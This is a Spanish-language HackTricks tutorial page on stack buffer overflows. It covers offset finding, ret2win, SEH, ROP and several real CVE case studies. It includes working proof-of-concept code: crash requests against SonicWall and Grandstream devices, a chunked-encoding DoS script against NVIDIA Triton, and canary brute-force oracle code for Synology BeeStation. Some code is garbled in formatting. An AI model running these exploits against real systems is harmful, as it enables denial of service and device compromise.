Stack Overflow
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
¿Qué es un Stack Overflow
Un stack overflow es una vulnerabilidad que ocurre cuando un programa escribe más datos en la stack de los que tiene asignados para contener. Este exceso de datos sobrescribirá el espacio de memoria adyacente, lo que puede provocar la corrupción de datos válidos, la alteración del flujo de control y, potencialmente, la ejecución de código malicioso. Este problema suele surgir por el uso de funciones inseguras que no realizan comprobaciones de límites sobre la entrada.
El problema principal de esta sobrescritura es que el saved instruction pointer (EIP/RIP) y el saved base pointer (EBP/RBP) para volver a la función anterior están almacenados en la stack. Por lo tanto, un atacante podrá sobrescribirlos y controlar el flujo de ejecución del programa.
La vulnerabilidad suele surgir porque una función copia dentro de la stack más bytes de los asignados para ella, pudiendo así sobrescribir otras partes de la stack.
Algunas funciones comunes vulnerables a esto son: strcpy, strcat, sprintf, gets… Además, funciones como fgets, read y memcpy que reciben un argumento de longitud, pueden usarse de manera vulnerable si la longitud especificada es mayor que la asignada.
For example, the following functions could be vulnerable:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Encontrar offsets de Stack Overflows
La forma más común de encontrar stack overflows es dar una entrada muy grande de As (p. ej. python3 -c 'print("A"*1000)') y esperar un Segmentation Fault que indique que se intentó acceder a la dirección 0x41414141.
Además, una vez que descubres que hay una vulnerabilidad de Stack Overflow necesitarás encontrar el offset hasta que sea posible sobrescribir la return address, para esto se suele usar una De Bruijn sequence. La cual, para un alfabeto dado de tamaño k y subsecuencias de longitud n, es una secuencia cíclica en la que cada posible subsecuencia de longitud n aparece exactamente una vez como subsecuencia contigua.
De este modo, en lugar de tener que averiguar a mano qué offset se necesita para controlar el EIP, es posible usar como padding una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola.
Es posible usar pwntools para esto:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
o GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Explotación de desbordamientos de pila
Durante un overflow (suponiendo que el tamaño del overflow sea lo bastante grande) podrás sobrescribir valores de variables locales en la pila hasta alcanzar los guardados EBP/RBP and EIP/RIP (or even more).
La forma más común de abusar de este tipo de vulnerabilidad es modificando la dirección de retorno para que cuando la función termine el flujo de control sea redirigido a donde el usuario/atacante haya especificado en ese puntero.
Sin embargo, en otros escenarios quizá sea suficiente con sobrescribir algunos valores de variables en la pila para la explotación (como en CTFs sencillos).
Ret2win
En este tipo de retos CTF, hay una function inside el binario que never called y que you need to call in order to win. Para estos retos solo tienes que encontrar el offset to overwrite the return address y find the address of the function a llamar (usualmente ASLR estaría deshabilitado) para que cuando la función vulnerable retorne, se llame a la función oculta:
Stack Shellcode
En este escenario el atacante puede colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
Windows SEH-based exploitation (nSEH/SEH)
En Windows de 32 bits, un overflow puede sobrescribir la cadena del Structured Exception Handler (SEH) en vez de la dirección de retorno guardada. La explotación típicamente reemplaza el puntero SEH con un POP POP RET gadget y usa el campo de 4 bytes nSEH para un salto corto que pivotea de vuelta al gran buffer donde reside el shellcode. Un patrón común es un jmp corto en nSEH que cae sobre un near jmp de 5 bytes colocado justo antes de nSEH para saltar cientos de bytes hacia el inicio del payload.
ROP & Ret2… techniques
Esta técnica es el marco fundamental para evadir la principal protección frente a la técnica anterior: No executable stack (NX). Además permite realizar varias otras técnicas (ret2lib, ret2syscall…) que terminarán ejecutando comandos arbitrarios abusando de instrucciones existentes en el binario:
Desbordamientos en el heap
Un overflow no siempre estará en la pila; también podría estar en el heap, por ejemplo:
Tipos de protecciones
Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades; consúltalas en:
Common Binary Exploitation Protections & Bypasses
Ejemplo real: CVE-2026-2329 (Grandstream GXP1600 desbordamiento de pila HTTP sin autenticación)
/app/bin/gs_web(32-bit ARM) expone/cgi-bin/api.values.geten TCP/80 con sin autenticación. El parámetro POSTrequestestá delimitado por dos puntos; cada carácter se copia enchar small_buffer[64]y el token se termina con NUL en:o al final, sin ninguna comprobación de longitud, permitiendo que un solo token sobredimensionado destruya los registros guardados/dirección de retorno.- PoC overflow (provoca crash y muestra datos del atacante en registros):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement: cada colon reinicia el parsing y añade un NUL final. Usando múltiples identificadores excesivamente largos, el terminador de cada token puede alinearse a un offset diferente en el frame corrompido, permitiendo al atacante colocar varios
0x00bytes aunque cada overflow normalmente añada solo uno. Esto es crucial porque el binario non-PIE está mapeado en0x00008000, por lo que las direcciones de gadgets ROP contienen bytes NUL. - Ejemplo de payload con colon para dejar cinco NULs en offsets elegidos (longitudes ajustadas según el layout de la pila):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksecmuestra NX enabled, no canary, no PIE. La explotación usa una cadena ROP construida con direcciones fijas (p.ej., llamar asystem()y luego aexit()), colocando los argumentos después de plantar los bytes NUL requeridos con el truco del delimitador.
Ejemplo real: CVE-2025-40596 (SonicWall SMA100)
Una buena demostración de por qué sscanf nunca debe ser confiable para parsear input no confiable apareció en 2025 en el appliance SSL-VPN SMA100 de SonicWall.
La rutina vulnerable dentro de /usr/src/EasyAccess/bin/httpd intenta extraer la versión y el endpoint de cualquier URI que comience con /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- La primera conversión (
%2s) almacena de forma segura dos bytes enversion(p. ej."v1"). - La segunda conversión (
%s) no tiene especificador de longitud, por lo tantosscanfseguirá copiando hasta el primer byte NUL. - Porque
endpointestá ubicado en la stack y tiene 0x800 bytes de longitud, proporcionar un path más largo que 0x800 bytes corrompe todo lo que está después del buffer ‑ incluyendo el stack canary y la saved return address.
Un proof-of-concept de una sola línea es suficiente para provocar el crash before authentication:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Aunque los stack canaries abortan el proceso, un atacante aún obtiene una primitiva de Denial-of-Service (y, con additional information leaks, posiblemente code-execution).
Ejemplo del mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) contenía múltiples stack-based overflows accesibles a través de su HTTP API.
El patrón vulnerable aparecía repetidamente en http_server.cc y sagemaker_server.cc:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) devuelve el número de segmentos del buffer interno que componen el cuerpo de la petición HTTP actual.- Cada segmento provoca que se asigne un
evbuffer_iovecde 16-byte en la stack víaalloca()– sin ningún límite superior. - Abusando de HTTP chunked transfer-encoding, un cliente puede forzar que la petición se divida en cientos de miles de fragmentos de 6-byte (
"1\r\nA\r\n"). Esto hace quencrezca sin límite hasta que la stack se agote.
Prueba de concepto (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Una petición de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y provocar un **crash** del daemon en una compilación por defecto.
### Ejemplo del mundo real: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
La cadena de Synacktiv en Pwn2Own 2025 abusó de un pre-auth overflow en `SYNO.BEE.AdminCenter.Auth` en el puerto 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes la entrada del atacante en un buffer de pila de 4096 bytes pero establece erróneamente `decoded_len = auth_info->len`. Debido a que el worker CGI hace fork por petición, cada proceso hijo hereda el stack canary del padre, por lo que un único primitive de overflow estable basta para corromper la pila y leak todos los secretos necesarios.
#### JSON decodificado por Base64 como un overflow estructurado
El blob decodificado debe ser JSON válido e incluir las claves `"state"` y `"code"`; de lo contrario, el parser aborta antes de que el overflow sea útil. Synacktiv solucionó esto codificando en Base64 un payload que se decodifica a JSON, seguido de un byte NUL y luego el stream de overflow. `strlen(decoded)` se detiene en el NUL, por lo que el parsing tiene éxito, pero `SLIBCBase64Decode` ya había sobrescrito la pila más allá del objeto JSON, cubriendo el canary, el saved RBP y la dirección de retorno.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing de canaries & pointers
synoscgi forks once per HTTP request, por lo que todos los procesos hijos comparten la misma canary, stack layout y PIE slide. El exploit trata el código de estado HTTP como un oracle: una respuesta 200 significa que el byte adivinado preservó la stack, mientras que 502 (o una conexión caída) significa que el proceso crashed. Brute-forcing each byte serially recovers the 8-byte canary, a saved stack pointer, and a return address inside libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr simplemente llama a bf_next_byte ocho veces mientras añade el prefijo confirmado. Synacktiv paralelizó estos oracles con ~16 hilos de trabajo, reduciendo el tiempo total de leak (canary + stack ptr + lib base) a menos de tres minutos.
De leaks a ROP & ejecución
Una vez conocida la base de la biblioteca, los gadgets comunes (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) construyen una primitiva arb_write que prepara /bin/bash, -c y el comando del atacante en la dirección del stack leaked. Finalmente, la cadena configura la convención de llamadas para SLIBCExecl (a BeeStation wrapper around execl(2)), dando como resultado un root shell sin necesitar un bug de info-leak separado.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


